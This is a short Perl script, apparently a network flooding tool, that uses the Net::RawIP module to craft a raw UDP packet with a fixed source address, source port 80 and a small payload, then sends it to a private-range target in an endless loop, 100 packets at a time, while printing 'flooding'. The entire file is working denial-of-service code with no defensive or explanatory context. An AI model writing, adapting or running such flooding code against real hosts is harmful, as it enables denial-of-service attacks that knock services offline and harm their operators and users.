#!/usr/bin/perl
use Net::RawIP;
use strict;
use warnings;
my $rawpack=Net::RawIP->new({
                        ip=>{saddr=>"192.168.12.180",daddr=>"192.168.10.12"},
                        udp=>{source=>80,len=>1000,data=>"hnd-ucb"}
                        }) or die "cannot create raw packet:$!\n";
#send or rather broadcast indefinitely 100 packets at a time
system("clear");
my ($count1,$count2)=0;
my($saddr,$daddr,$source,$len,$data)=$rawpack->get( {ip=>[qw (saddr daddr)],
                udp=>[qw (source len data)]});
print "$saddr\n$daddr\n$source\n$len\n$data\n";
print "flooding\n";
sleep(5);
for(;;)
{
        $rawpack->send(0,100);
        $count1++;
        if($count1==10**5)
        {
                $count1=0;
                $count2++;
                print "$count2";
                system("clear");
        }
}